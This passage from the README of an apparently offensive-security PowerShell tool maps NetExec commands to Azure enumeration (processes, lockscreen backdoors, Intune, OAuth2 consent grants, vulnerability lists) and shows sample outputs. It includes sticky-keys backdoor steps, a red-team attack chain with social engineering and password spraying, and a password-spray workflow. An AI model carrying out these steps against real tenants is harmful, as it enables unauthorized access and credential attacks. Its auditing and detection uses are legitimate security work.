.\azx.ps1 process-enum -ExportPath processes.json
```

**Information Enumerated**:
- **Process Name** - Executable name (e.g., `notepad.exe`, `python`)
- **Process ID (PID)** - Unique process identifier
- **Memory Usage** - Current memory consumption
- **CPU Usage** - Current CPU percentage (Linux only)
- **User** - User account running the process
- **Session** - Session identifier (Windows only)
- **Command Line** - Full command line arguments (Linux only)

**NetExec Comparison**:

| NetExec Command | AZexec Equivalent | Description |
|-----------------|-------------------|-------------|
| `nxc smb 192.168.1.0/24 -u admin -p pass --tasklist` | `.\azx.ps1 process-enum` | Enumerate all processes |
| `nxc smb 192.168.1.0/24 -u admin -p pass --tasklist keepass.exe` | `.\azx.ps1 process-enum -ProcessName "keepass.exe"` | Filter by process name |
| NetExec queries via SMB/WMI on remote Windows hosts | AZexec queries via Azure VM Run Command | Cloud vs On-Prem |

**How It Works**:
- Uses Azure VM Run Command (same as `vm-loggedon` command)
- Windows VMs: Executes `tasklist` command (equivalent to NetExec's SMB query)
- Linux VMs: Executes `ps aux` command (process list with details)
- Requires **Virtual Machine Contributor** or **VM Command Executor** role
- Queries are logged in Azure Activity Logs (audit trail)
- Supports both Windows and Linux VMs

**Use Cases**:

| Scenario | Description | Command |
|----------|-------------|---------|
| **Credential Hunting** | Find password managers (KeePass, LastPass, etc.) | `.\azx.ps1 process-enum -ProcessName "keepass"` |
| **Malware Detection** | Identify suspicious processes | `.\azx.ps1 process-enum -ExportPath processes.csv` (analyze in Excel) |
| **Lateral Movement** | Find processes running as privileged users | Filter CSV for processes with admin users |
| **Incident Response** | Document running processes during compromise | `.\azx.ps1 process-enum -VMFilter running -ExportPath incident-processes.json` |
| **Compliance Audit** | Verify approved software only | Compare process list against approved software inventory |

**Example Output**:
```
[*] AZX - Remote Process Enumeration
[*] Command: process-enum (Similar to: nxc smb --tasklist)
[*] Azure equivalent of NetExec's remote process enumeration

[*] VM: web-server-01
    Resource Group: Production-RG
    OS Type: Windows
    Power State: running
    [*] Querying processes...
    [+] Found 45 process(es):
AZR         web-server-01  443     System                          [*] PID:4 MEM:1,234 K SESSION:Services USER:System
AZR         web-server-01  443     svchost.exe                     [*] PID:1234 MEM:45,678 K SESSION:Services USER:SYSTEM
AZR         web-server-01  443     keepass.exe                      [*] PID:5678 MEM:12,345 K SESSION:Console USER:admin
```

**Troubleshooting**:
- **"VM is not in running state"**: Process enumeration only works on running VMs. Use `-VMFilter running` to skip stopped VMs.
- **"AuthorizationFailed"**: Ensure you have `Virtual Machine Contributor` or `VM Command Executor` role assigned.
- **"No processes found"**: The process name filter may be too restrictive. Try without `-ProcessName` to see all processes.

---

### Lockscreen Backdoor Enumeration: `lockscreen-enum`

The Azure equivalent of NetExec's `-M lockscreendoors` module. Detect when Windows accessibility executables have been replaced with backdoors:

```powershell
# Detect lockscreen backdoors on all Azure VMs (like nxc smb -M lockscreendoors)
.\azx.ps1 lockscreen-enum

# Check only running VMs
.\azx.ps1 lockscreen-enum -VMFilter running

# Target specific subscription or resource group
.\azx.ps1 lockscreen-enum -SubscriptionId "12345678-1234-1234-1234-123456789012"
.\azx.ps1 lockscreen-enum -ResourceGroup Production-RG

# Export results to file
.\azx.ps1 lockscreen-enum -ExportPath lockscreen-report.csv
.\azx.ps1 lockscreen-enum -ExportPath lockscreen-report.html
```

**What is a Lockscreen Backdoor?**

Attackers can replace Windows accessibility executables with cmd.exe or powershell.exe to gain SYSTEM access from the lock screen without authentication. These executables can be triggered from the Windows lock screen:

| Executable | Trigger | Description |
|------------|---------|-------------|
| `utilman.exe` | Win+U | Ease of Access utility |
| `sethc.exe` | 5x Shift | Sticky Keys |
| `narrator.exe` | Win+Enter | Narrator screen reader |
| `osk.exe` | On-Screen Keyboard button | On-Screen Keyboard |
| `magnify.exe` | Win++ | Magnifier |
| `EaseOfAccessDialog.exe` | Ease of Access menu | Ease of Access Dialog |
| `displayswitch.exe` | Win+P | Display Switch |
| `atbroker.exe` | Assistive Technology | Assistive Technology Service |
| `voiceaccess.exe` | Voice commands | Windows Voice Access |

**Detection Logic**:
- **CLEAN**: FileDescription matches expected accessibility tool name
- **SUSPICIOUS**: FileDescription differs from expected value (could be legitimate update or modification)
- **BACKDOORED**: FileDescription is "Windows PowerShell" or "Windows Command Processor" (definite compromise)

**NetExec Comparison**:

| NetExec Command | AZexec Equivalent | Description |
|-----------------|-------------------|-------------|
| `nxc smb 192.168.1.0/24 -u admin -p pass -M lockscreendoors` | `.\azx.ps1 lockscreen-enum` | Detect accessibility backdoors |
| NetExec checks via SMB/WMI on remote Windows hosts | AZexec checks via Azure VM Run Command | Cloud vs On-Prem |

**How It Works**:
- Uses Azure VM Run Command to execute PowerShell on Windows VMs
- Reads FileDescription metadata from each accessibility executable using `[System.Diagnostics.FileVersionInfo]`
- Compares against expected descriptions for accessibility tools
- Flags executables with cmd.exe or PowerShell descriptions as **BACKDOORED**
- Windows VMs only (Linux VMs are automatically skipped)

**Example Output**:
```
[*] AZX - Lockscreen Backdoor Enumeration
[*] Command: lockscreen-enum (Similar to: nxc smb -M lockscreendoors)
[*] Azure equivalent of NetExec's lockscreendoors module

[*] VM: web-server-01
    Resource Group: Production-RG
    OS Type: Windows
    Power State: running
    [*] Checking accessibility executables...
AZR         web-server-01  443     utilman.exe                        [+] CLEAN (desc:Utility Manager)
AZR         web-server-01  443     narrator.exe                       [+] CLEAN (desc:Screen Reader)
AZR         web-server-01  443     sethc.exe                          [!] BACKDOORED (desc:Windows Command Processor)
AZR         web-server-01  443     osk.exe                            [+] CLEAN (desc:Accessibility On-Screen Keyboard)
    [!!!] CRITICAL: 1 BACKDOORED executable(s) detected!

[*] LOCKSCREEN ENUMERATION SUMMARY
    Total VMs Found: 5
    Windows VMs Queried: 4
    Successful Queries: 4
    BACKDOORED: 1
    SUSPICIOUS: 0
    CLEAN: 35
```

**Use Cases**:

| Scenario | Description | Command |
|----------|-------------|---------|
| **Incident Response** | Detect persistence mechanisms | `.\azx.ps1 lockscreen-enum -VMFilter running` |
| **Security Audit** | Check all VMs for accessibility backdoors | `.\azx.ps1 lockscreen-enum -ExportPath audit.html` |
| **Compromise Assessment** | Identify potentially compromised systems | `.\azx.ps1 lockscreen-enum -ResourceGroup critical-systems` |
| **Red Team Validation** | Verify detection capabilities | Check if implanted backdoors are detected |

**Attack Context**:
1. Attacker gains access to system (e.g., via RDP, physical access, or admin credentials)
2. Copies cmd.exe to C:\Windows\System32\sethc.exe (or other accessibility executable)
3. At lock screen, presses Shift 5 times (for sethc.exe) or Win+U (for utilman.exe)
4. Instead of accessibility feature, a SYSTEM command prompt appears
5. Attacker has unauthenticated SYSTEM access

**Troubleshooting**:
- **"VM is not in running state"**: Lockscreen enumeration only works on running VMs. Use `-VMFilter running` to skip stopped VMs.
- **"AuthorizationFailed"**: Ensure you have `Virtual Machine Contributor` or `VM Command Executor` role assigned.
- **"Skipping - Lockscreen enumeration is Windows-only"**: Linux VMs don't have Windows accessibility features and are automatically skipped.
- **"NOT FOUND"**: Some executables may not exist on all Windows versions (e.g., voiceaccess.exe is Windows 11+ only).

---

### Intune/Endpoint Manager Enumeration: `intune-enum`

The Azure equivalent of NetExec's `-M sccm-recon6` module. Enumerate Microsoft Intune/Endpoint Manager infrastructure configuration:

```powershell
# Enumerate Intune configuration (like nxc smb -M sccm-recon6)
.\azx.ps1 intune-enum

# Export results to file
.\azx.ps1 intune-enum -ExportPath intune-report.csv
.\azx.ps1 intune-enum -ExportPath intune-report.json
.\azx.ps1 intune-enum -ExportPath intune-report.html
```

**What is SCCM vs Intune?**

SCCM (System Center Configuration Manager) is Microsoft's on-premises endpoint management solution. In Azure/cloud environments, SCCM has been replaced by **Microsoft Intune** (part of Microsoft Endpoint Manager). This command provides the cloud equivalent of SCCM reconnaissance.

**NetExec sccm-recon6 vs AZexec intune-enum:**

| Aspect | On-Premises (NetExec sccm-recon6) | Azure (AZexec intune-enum) |
|--------|-----------------------------------|----------------------------|
| **Command** | `nxc smb <target> -u User -p Pass -M sccm-recon6` | `.\azx.ps1 intune-enum` |
| **Protocol** | SMB/Registry (port 445) | Microsoft Graph API (HTTPS/443) |
| **Target** | SCCM Primary Site Server | Microsoft Intune tenant |
| **Data Source** | `HKLM\SOFTWARE\Microsoft\SMS` registry | Graph `/deviceManagement/*` endpoints |
| **Infrastructure** | Distribution Points, Management Points | Enrollment configs, Compliance policies |
| **Role Info** | Site server roles | Intune RBAC role definitions & assignments |
| **Deployment** | PXE boot, Task Sequences | Autopilot profiles, Configuration profiles |

**What intune-enum Enumerates:**

| Category | SCCM Equivalent | Description |
|----------|-----------------|-------------|
| **Enrollment Configurations** | Distribution Points | Device enrollment limits, platform restrictions |
| **Compliance Policies** | Management Point security policies | Required security settings per platform |
| **Configuration Profiles** | Task Sequences | WiFi, VPN, certificates, custom configs |
| **RBAC Role Definitions** | Site Admin Roles | Built-in and custom Intune admin roles |
| **Role Assignments** | Role Memberships | Who has what Intune permissions |
| **Autopilot Profiles** | PXE Boot / OS Deployment | Windows device provisioning settings |
| **Managed Device Summary** | Site Status | Total enrolled devices by platform |

**Required Permissions:**

```
DeviceManagementConfiguration.Read.All  - Read device configurations and policies
DeviceManagementRBAC.Read.All           - Read Intune role assignments
DeviceManagementManagedDevices.Read.All - Read managed device info
```

**Example Output:**
```
[*] AZX - Intune/Endpoint Manager Enumeration
[*] Command: intune-enum (Similar to: nxc smb -M sccm-recon6)
[*] Azure equivalent of NetExec's SCCM reconnaissance

[*] ========================================
[*] ENROLLMENT CONFIGURATION
[*] ========================================

AZR         INTUNE          443    Windows Enrollment                 [*] Type: Enrollment Limit | Limit: 15 devices
AZR         INTUNE          443    iOS Enrollment                     [*] Type: Platform Restrictions
AZR         INTUNE          443    Android Enrollment                 [!] HIGH LIMIT - Type: Enrollment Limit | Limit: 50 devices

[*] ========================================
[*] COMPLIANCE POLICIES
[*] ========================================

AZR         INTUNE          443    Windows-Security-Baseline          [*] Platform: Windows 10/11 | BitLocker:Required | Firewall:Required
AZR         INTUNE          443    iOS-Corporate-Policy               [*] Platform: iOS/iPadOS | Password:Required | MinLen:6
AZR         INTUNE          443    Android-Basic-Policy               [!] NO SECURITY REQUIREMENTS - Platform: Android

[*] ========================================
[*] INTUNE RBAC ROLES
[*] ========================================

AZR         INTUNE          443    Intune Administrator               [!] HIGH PRIV - Full Intune access
AZR         INTUNE          443    Help Desk Operator                 [*] Built-in | Permissions: 45
AZR         INTUNE          443    Custom Device Admin                [*] Custom | Permissions: 23

[*] ========================================
[*] CONFIGURATION PROFILES
[*] ========================================

AZR         INTUNE          443    Corporate-WiFi                     [!] SENSITIVE - WiFi
AZR         INTUNE          443    VPN-AlwaysOn                       [!] SENSITIVE - VPN
AZR         INTUNE          443    Certificate-SCEP                   [!] SENSITIVE - Certificate
AZR         INTUNE          443    Windows-Baseline                   [*] Type: Windows General

[*] ========================================
[*] AUTOPILOT PROFILES
[*] ========================================

AZR         INTUNE          443    Standard-Deployment                [*] Mode: User-Driven | OOBE: SkipEULA | SkipPrivacy
AZR         INTUNE          443    Kiosk-Deployment                   [!] LOCAL ADMIN - Mode: Self-Deploying | OOBE: LocalAdmin

[*] ========================================
[*] MANAGED DEVICES SUMMARY
[*] ========================================

Total Enrolled Devices: 1,234
    Windows Devices: 892
    iOS/iPadOS Devices: 256
    Android Devices: 78
    macOS Devices: 8
```

**Security Analysis Features:**

| Check | Risk Level | Description |
|-------|------------|-------------|
| High Enrollment Limits | MEDIUM | Device limits >10 may indicate weak controls |
| No Security Requirements | HIGH | Compliance policies without security settings |
| High Privilege Roles | HIGH | Roles with full Intune admin access |
| Sensitive Config Profiles | INFO | VPN, WiFi, Certificate profiles (credential exposure risk) |
| Local Admin Autopilot | MEDIUM | Autopilot profiles granting local admin rights |

**Use Cases:**

| Scenario | Description | Command |
|----------|-------------|---------|
| **Security Audit** | Review Intune configuration posture | `.\azx.ps1 intune-enum -ExportPath audit.html` |
| **Penetration Testing** | Identify weak policies and high-priv roles | `.\azx.ps1 intune-enum` |
| **Compliance Check** | Verify security requirements are enforced | `.\azx.ps1 intune-enum -ExportPath compliance.csv` |
| **Attack Surface Analysis** | Identify sensitive configuration profiles | Review exported data for VPN/WiFi/Cert profiles |

**Attack Context:**
1. Enumerate Intune configuration to understand device management posture
2. Identify compliance policies without security requirements (potential bypass)
3. Find high-privilege role assignments (privilege escalation targets)
4. Locate sensitive configuration profiles (credential harvesting opportunity)
5. Analyze Autopilot profiles for local admin grants (initial access vector)

**Troubleshooting**:
- **"Failed to retrieve enrollment configurations"**: Ensure you have `DeviceManagementConfiguration.Read.All` permission.
- **"Failed to retrieve role definitions"**: Ensure you have `DeviceManagementRBAC.Read.All` permission.
- **"No managed device data available"**: Ensure you have `DeviceManagementManagedDevices.Read.All` permission or devices are enrolled in Intune.

---

### OAuth2 Delegation Enumeration: `delegation-enum`

The Azure equivalent of NetExec's `--delegate` flag. Enumerate OAuth2 consent grants to identify applications that can act on behalf of users (impersonation paths).

```powershell
# Enumerate OAuth2 delegation (like nxc smb --delegate)
.\azx.ps1 delegation-enum

# Export results to file
.\azx.ps1 delegation-enum -ExportPath delegation.csv
.\azx.ps1 delegation-enum -ExportPath delegation.json
.\azx.ps1 delegation-enum -ExportPath delegation.html
```

**What is Kerberos Delegation vs OAuth2 Delegation?**

In on-premises Active Directory, Kerberos delegation allows services to impersonate users. In Azure/cloud environments, OAuth2 consent grants serve a similar purpose - allowing applications to act on behalf of users.

**NetExec --delegate vs AZexec delegation-enum:**

| Aspect | On-Premises (NetExec --delegate) | Azure (AZexec delegation-enum) |
|--------|----------------------------------|--------------------------------|
| **Command** | `nxc smb <target> -u User -p Pass --delegate` | `.\azx.ps1 delegation-enum` |
| **Protocol** | Kerberos (port 88) / LDAP (port 389) | Microsoft Graph API (HTTPS/443) |
| **Mechanism** | RBCD, Constrained/Unconstrained Delegation | OAuth2 Consent Grants |
| **User Attribute** | `msDS-AllowedToActOnBehalfOfOtherIdentity` | `oauth2PermissionGrants.consentType` |
| **Impersonation Scope** | Specific services/SPNs | Specific API scopes (Mail.Send, etc.) |
| **Tenant-Wide** | Unconstrained Delegation | Admin Consent (`AllPrincipals`) |

**Kerberos to OAuth2 Concept Mapping:**

| Kerberos Delegation | OAuth2 Equivalent | Risk Level |
|---------------------|-------------------|------------|
| **RBCD** (Resource-Based Constrained Delegation) | Admin Consent (`AllPrincipals`) | HIGH - Tenant-wide impersonation |
| **S4U2Self** (Service for User to Self) | Delegated permissions with user context | MEDIUM - Per-user impersonation |
| **Constrained Delegation** | Specific scope grants (e.g., `Mail.Send`) | MEDIUM - Limited to specific APIs |
| **Unconstrained Delegation** | `Directory.AccessAsUser.All` | CRITICAL - Full directory as any user |

**What delegation-enum Detects:**

| Permission | Risk Level | Description |
|------------|------------|-------------|
| `Directory.AccessAsUser.All` | CRITICAL | Full directory access as any user (unconstrained delegation equivalent) |
| `RoleManagement.ReadWrite.Directory` | CRITICAL | Can assign any directory role including Global Admin |
| `AppRoleAssignment.ReadWrite.All` | CRITICAL | Can grant any permission to any application |
| `Application.ReadWrite.All` | CRITICAL | Can modify any application including adding credentials |
| `Mail.Send` | HIGH | Send email as users (phishing, BEC) |
| `Mail.ReadWrite` / `Mail.ReadWrite.All` | HIGH | Full mailbox access (data exfiltration) |
| `Files.ReadWrite.All` | HIGH | Access all OneDrive/SharePoint files |
| `Group.ReadWrite.All` | HIGH | Modify any group membership |

**Key Risk Factor:** `consentType = "AllPrincipals"` = Admin consent = Acts on behalf of ALL users in tenant

**Required Permissions:**

```
Application.Read.All  - Read service principals and consent grants
Directory.Read.All    - Read directory data for permission resolution
```

**Example Output:**
```
[*] AZX - Azure OAuth2 Delegation Enumeration
[*] Command: OAuth2 Permission Grant Analysis (Impersonation Paths)
[*] Azure equivalent of NetExec's --delegate flag

[*] ========================================
[*] PHASE 3: Admin Consent Grants (Tenant-Wide Impersonation)
[*] ========================================

[!] Admin consent grants allow apps to act on behalf of ALL users in the tenant
[!] This is the Azure equivalent of RBCD (Resource-Based Constrained Delegation)

AZR         00000003-0000...    443    Mail-Integration-App               [!] AllPrincipals:Mail.Send,Mail.ReadWrite (CRITICAL)
    [+] Mail.Send [HIGH]
    [+] Mail.ReadWrite [HIGH]
    [!] Can send/read email as ANY user in tenant
    [+] Resource: Microsoft Graph
    [+] Consent: Admin (tenant-wide impersonation)

AZR         12345678-abcd...    443    Legacy-Portal                      [!] AllPrincipals:Directory.AccessAsUser.All (CRITICAL)
    [+] Directory.AccessAsUser.All [CRITICAL]
    [!] FULL DIRECTORY ACCESS as any user - Azure equivalent of unconstrained delegation
    [+] Resource: Microsoft Graph
    [+] Consent: Admin (tenant-wide impersonation)

[*] ========================================
[*] PHASE 4: User Consent Grants (Per-User Impersonation)
[*] ========================================

[*] User consent grants allow apps to act on behalf of specific users who consented

AZR         87654321-dcba...    443    HR-App                             [*] Principal:User.Read (LOW)
    [*] Per-user consent only (15 users)
    [+] User.Read [LOW]

[*] ========================================
[*] DELEGATION SUMMARY
[*] ========================================
    [!] CRITICAL IMPERSONATION APPS: 2
    [!] HIGH RISK IMPERSONATION APPS: 3
    [*] MEDIUM RISK APPS: 8
    [*] LOW RISK APPS: 22
    [*] Total OAuth2 Grants: 34
    [*] Admin Consent Grants: 5 (3 unique apps)
    [*] User Consent Grants: 29
```

**Security Analysis Features:**

| Check | Risk Level | Description |
|-------|------------|-------------|
| Directory.AccessAsUser.All | CRITICAL | Equivalent to unconstrained delegation |
| Mail permissions with AllPrincipals | CRITICAL | Tenant-wide email impersonation |
| RoleManagement.ReadWrite.Directory | CRITICAL | Can grant any role |
| High-risk permissions with admin consent | HIGH | Elevated due to tenant-wide scope |
| User consent grants | MEDIUM/LOW | Risk depends on number of consenting users |

**Use Cases:**

| Scenario | Description | Command |
|----------|-------------|---------|
| **Security Audit** | Review OAuth2 consent posture | `.\azx.ps1 delegation-enum -ExportPath audit.html` |
| **Penetration Testing** | Identify impersonation paths | `.\azx.ps1 delegation-enum` |
| **Compliance Check** | Verify consent grant policies | `.\azx.ps1 delegation-enum -ExportPath consent.csv` |
| **Privilege Escalation** | Find apps that can escalate privileges | Review CRITICAL findings |

**Attack Context:**
1. Enumerate OAuth2 consent grants to identify impersonation opportunities
2. Focus on admin consent grants (`AllPrincipals`) - these can impersonate ANY user
3. Identify apps with `Directory.AccessAsUser.All` (unconstrained delegation equivalent)
4. Look for apps with `Mail.Send` + admin consent (tenant-wide email spoofing)
5. If an app with dangerous consent is compromised, attacker can impersonate users

**Troubleshooting**:
- **"Failed to retrieve service principals"**: Ensure you have `Application.Read.All` or `Directory.Read.All` permission.
- **"Failed to retrieve OAuth2 permission grants"**: Ensure you have `Directory.Read.All` permission.
- **Guest users may have limited access**: Guest accounts often cannot view consent grants due to restricted permissions.

---

### Vulnerable Target Enumeration Examples (like nxc smb --gen-relay-list)

### Example 29: Basic Vulnerability Enumeration (Auto-Detect Domain)
Enumerate vulnerable targets in your current tenant:
```powershell
.\azx.ps1 vuln-list

# Summary automatically shows risk-based color coding:
# - 🔴 HIGH RISK findings (ROPC enabled, dangerous permissions, no MFA, etc.)
# - 🟡 MEDIUM RISK findings (Security Defaults off, stale guests, etc.)
# - ⚪ LOW RISK findings (informational items)
```

### Example 30: Target Specific Tenant
Enumerate vulnerabilities for a specific domain:
```powershell
.\azx.ps1 vuln-list -Domain targetcorp.com
```

### Example 31: Export HIGH Risk Targets (Relay-List Style)
Export only HIGH risk findings in a simple format (like nxc --gen-relay-list):
```powershell
.\azx.ps1 vuln-list -ExportPath relay_targets.txt
```

### Example 32: Export Full Vulnerability Report (JSON)
Export all findings with full details:
```powershell
.\azx.ps1 vuln-list -ExportPath vuln_report.json
```

### Example 33: Export to CSV for Spreadsheet Analysis
```powershell
.\azx.ps1 vuln-list -Domain targetcorp.com -ExportPath findings.csv
```

**What vuln-list Checks:**

| Check | Phase | Risk | Description |
|-------|-------|------|-------------|
| Implicit Flow | Unauth | MEDIUM | OAuth implicit flow enabled (token theft risk) |
| ROPC Enabled | Unauth | HIGH | Password spray/brute force possible |
| Legacy Auth Endpoints | Unauth | INFO | Legacy protocols accessible |
| Password-Only SPs | Auth | HIGH | Service principals without certificate auth |
| Public Client Apps | Auth | MEDIUM | Applications allowing ROPC/device code |
| Security Defaults | Auth | MEDIUM | Security Defaults disabled |
| Legacy Auth Blocking | Auth | HIGH | No CA policy blocking legacy auth |
| Stale Guest Accounts | Auth | MEDIUM | Guests with no activity 90+ days |
| Dangerous Permissions | Auth | HIGH | Apps with high-risk API permissions |
| **Guest Permission Level** | Auth | HIGH/MEDIUM | Guests with excessive permissions (null session equivalent) |
| **Users Without MFA** | Auth | HIGH | Users without any MFA method registered |
| Guest Invite Policy | Auth | MEDIUM | Anyone (including guests) can invite external users |

### Example 28: Real-World Red Team Scenario
Complete attack chain using guest enumeration:
```powershell
# PHASE 1: External Recon (No credentials)
.\azx.ps1 tenant -Domain targetcorp.com -ExportPath recon/tenant.json
.\azx.ps1 users -Domain targetcorp.com -CommonUsernames -ExportPath recon/valid-users.csv

# Identify potential guest access opportunities from recon
# Social engineer way into getting invited as "vendor" or "consultant"

# PHASE 2: Guest Enumeration (Low-noise, minimal detection)
.\azx.ps1 hosts -ShowOwners -ExportPath loot/devices.json
.\azx.ps1 groups -ExportPath loot/groups.json
.\azx.ps1 pass-pol -ExportPath loot/policy.json
Get-MgUser -All | Export-Csv loot/all-users.csv

# Analyze results offline:
# - Identify high-value targets (executives, admins)
# - Map device ownership and relationships
# - Find non-compliant or legacy devices
# - Identify privileged accounts

# PHASE 3: Targeted Attack
# Use gathered intelligence for:
# - Spear phishing campaigns
# - Password spraying against high-value accounts
# - Credential stuffing with leaked passwords
# - Exploitation of unpatched devices
```

## 📊 NetExec-Style Output Reference

The tool provides netexec-style output with the following information:

### Username Enumeration Output

```
AZR         example.com                         443    alice@example.com                  [+] Valid username (Managed)
AZR         example.com                         443    bob@example.com                    [-] Invalid username
AZR         example.com                         443    admin@example.com                  [+] Valid username (Federated)
```

**Color Coding:**
- **Green**: Valid username found (exists in tenant)
- **Dark Gray**: Invalid username (does not exist)
- **Red**: Check failed (network/API error)

**Authentication Types:**
- **Managed**: Standard cloud-managed authentication
- **Federated**: Federated authentication (e.g., ADFS)
- **Alternate**: Alternative authentication method

**Enhanced Summary Statistics (v2.0):**
```
[*] Username enumeration complete!

[*] Summary:
    Total Checked:   250
    Valid Users:     87
    Invalid Users:   161
    Failed Checks:   2
    Duration:        00m 25s
    Rate:            10.0 checks/sec

[*] Authentication Type Breakdown:
    Managed:    45
    Federated:  38
    Alternate:  4

[*] Valid Usernames Found:
    [+] admin@example.com (Managed)
    [+] helpdesk@example.com (Managed)
    [+] support@example.com (Federated)
    ...

[*] Next Steps:
    To perform password spraying with these valid users:
    1. Extract valid users: $users = Import-Csv 'results.csv' | Where { $_.Exists -eq 'True' } | Select -ExpandProperty Username
    2. Save to file: $users | Out-File spray-targets.txt
    3. Run spray: .\azx.ps1 guest -Domain example.com -UserFile spray-targets.txt -Password 'YourPassword123!'
```

**Features:**
- Total usernames checked
- Valid/invalid breakdown with failed checks tracked separately
- Duration and enumeration rate (users/sec)
- Authentication type breakdown (Managed/Federated/Alternate)
- List of all valid usernames with their auth types
- Automatic next steps guidance for password spraying workflow

### User Profile Enumeration Output

```
AZR         a1b2c3d4e5f6    443    John Smith                             [*] (upn:john.smith@example.com) (job:Senior Engineer) (dept:IT) (type:Member) (status:Enabled) (location:Seattle) (lastSignIn:2025-12-10)
AZR         f6e5d4c3b2a1    443    Jane Doe                               [*] (upn:jane.doe@example.com) (job:Marketing Manager) (dept:Marketing) (type:Member) (status:Enabled) (location:New York) (lastSignIn:2025-12-12)
AZR         1234567890ab    443    External Vendor                        [*] (upn:vendor@partner.com#EXT#@examp...) (job:N/A) (dept:N/A) (type:Guest) (status:Enabled) (location:N/A) (lastSignIn:2025-11-20)
AZR         abcdef123456    443    Test Account                           [*] (upn:test@example.com) (job:N/A) (dept:N/A) (type:Member) (status:Disabled) (location:N/A) (lastSignIn:Never/Unknown)
```

**Color Coding:**
- **Green**: Active member users (enabled accounts)
- **Yellow**: Guest users (external/B2B users)
- **Dark Gray**: Disabled accounts

**User Information Displayed:**
- **UPN**: User Principal Name (email/login)
- **Job**: Job title
- **Dept**: Department
- **Type**: Member (internal) or Guest (external/B2B)
- **Status**: Enabled or Disabled
- **Location**: Office location
- **LastSignIn**: Last sign-in date (requires AuditLog.Read.All permission)

**Summary Statistics:**
- Total users found
- Member users count
- Guest users count
- Enabled accounts count
- Disabled accounts count

### Tenant Discovery Output

```
AZR         example.com                         443    [*] Tenant Discovery

[+] Tenant ID:                xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
    [+] Issuer:                   https://login.microsoftonline.com/{tenant-id}/v2.0
    [+] Authorization Endpoint:   https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize
    [+] Token Endpoint:           https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/token
    [+] UserInfo Endpoint:        https://graph.microsoft.com/oidc/userinfo
    [+] End Session Endpoint:     https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/logout
    [+] JWKS URI:                 https://login.microsoftonline.com/{tenant-id}/discovery/v2.0/keys
    [+] Tenant Region Scope:      NA
    [+] Cloud Instance:           microsoftonline.com
    [+] Graph Host:               graph.microsoft.com
    [+] Federation Status:        Managed

[*] Supported Response Types: code, id_token, token, id_token token
    [*] Supported Scopes:         openid, profile, email, offline_access
    [*] Supported Claims:         45 claims available

[*] Enumerating exposed applications and configurations...
    [!] Implicit flow enabled (security consideration)

[*] Supported Grant Types:
        - authorization_code
        - refresh_token
        - client_credentials
          [!] Note: client_credentials grant type enabled

[*] Probing for exposed application information...
    [+] Accessible endpoint: https://graph.microsoft.com/.well-known/openid-configuration

[*] Security Findings:
    [!] Potential Misconfigurations: 1
        - Implicit flow enabled (potential security risk)
```

**Information Retrieved:**
- **Basic Configuration**:
  - Tenant ID (GUID)
  - Authentication and authorization endpoints
  - Token endpoints
  - JWKS URI for token validation
  - Tenant region and cloud instance
  - Federation status (Managed vs Federated)
  - Supported response types, scopes, and claims

- **Security Enumeration** (mimics `nxc smb --enum`):
  - Exposed application IDs and client configurations
  - Publicly accessible redirect URIs
  - OAuth/OIDC misconfigurations and security risks
  - Enabled grant types and their security implications
  - Accessible federation metadata
  - Implicit flow detection (potential XSS/token leakage risks)
  - Risky grant types (password grants, client credentials)

**Color Coding:**
- **Green**: Secure configurations or successfully retrieved information
- **Yellow**: Security considerations, warnings, or potential misconfigurations
- **Cyan**: Standard information and metadata
- **Dark Gray**: Additional technical details

### Device Enumeration Output

```
AZR         <DeviceID>       443    <DeviceName>                          [*] <OS> <Version> (name:<FullName>) (trust:<Type>) (compliant:<True/False>) (enabled:<True/False>) (owner:<Owner>)
```

**Color Coding:**
- **Cyan**: Normal, enabled, compliant devices
- **Yellow**: Non-compliant devices
- **Dark Gray**: Disabled devices

**Summary Statistics:**
- Total devices found
- Windows devices count
- Azure AD joined devices count
- Hybrid joined devices count
- Compliant devices count
- Enabled devices count

### Group Enumeration Output (mimics `nxc smb --groups`)

```
AZR         <GroupID>        443    <GroupName>                           [*] (name:<FullName>) (type:<GroupTypes>) (security:<True/False>) (mail:<True/False>) (members:<Count>) (desc:<Description>)
```

**Example:**
```
AZR         a1b2c3d4e5f6    443    IT Administrators                      [*] (name:IT Administrators) (type:Security) (security:True) (mail:False) (members:15) (desc:IT department admins)
AZR         f6e5d4c3b2a1    443    Marketing Team                         [*] (name:Marketing Team) (type:Unified) (security:False) (mail:True) (members:42) (desc:Marketing department)
```

**Color Coding:**
- **Green**: Security groups (SecurityEnabled = True)
- **Yellow**: Mail-enabled groups
- **Cyan**: Other group types

**Group Types:**
- **Security**: Security groups (used for access control)
- **Unified**: Microsoft 365 groups
- **DynamicMembership**: Dynamic groups with automatic membership

### Application Enumeration Output

```
AZR         <AppID>          443    <ApplicationName>                     [*] (name:<FullName>) (type:<App/SPN>) (creds:<Type> [Count]) (audience:<Audience>) (publicClient:<True/False>)
```

**Example:**
```
AZR         a1b2c3d4e5f6    443    Corporate Web App                      [*] (name:Corporate Web App) (type:App) (creds:Certificate [2]) (audience:AzureADMyOrg) (publicClient:False)
AZR         f6e5d4c3b2a1    443    Legacy API Service                     [*] (name:Legacy API Service) (type:SPN) (creds:Password [1]) (audience:AzureADMultipleOrgs) (publicClient:False)
AZR         1234567890ab    443    Mobile App                             [*] (name:Mobile App) (type:App) (creds:None [0]) (audience:AzureADandPersonalMicrosoftAccount) (publicClient:True)
```

**Color Coding:**
- **Green**: Certificate-based authentication (secure)
- **Yellow**: Password-only credentials (vulnerable) OR public client enabled (ROPC-enabled)

### Service Principal Discovery Output

```
AZR         <SPNID>          443    <ServicePrincipalName>                [*] (appId:<AppID>) (type:<Type>) (status:<Enabled/Disabled>) (pwdCreds:<Count>) (certCreds:<Count>) (appRoles:<Count>) (delegated:<Count>) (owners:<Count>)
    [+] Application Permissions (App Roles):
        [-] <ResourceName> : <PermissionName> (ID: <RoleID>)
    [+] Delegated Permissions (OAuth2):
        [-] <ResourceName> : <Scope> (ConsentType: <Type>)
    [+] Owners:
        [-] <OwnerName> [<OwnerType>] (<UPN if user>)
```

**Example:**
```
AZR         a1b2c3d4e5f6    443    Corporate Automation SPN               [*] (appId:12345678-1234-1234-1234-123456789012) (type:Application) (status:Enabled) (pwdCreds:1) (certCreds:0) (appRoles:3) (delegated:2) (owners:1)
    [+] Application Permissions (App Roles):
        [-] Microsoft Graph : User.Read.All (ID: df021288-bdef-4463-88db-98f22de89214)
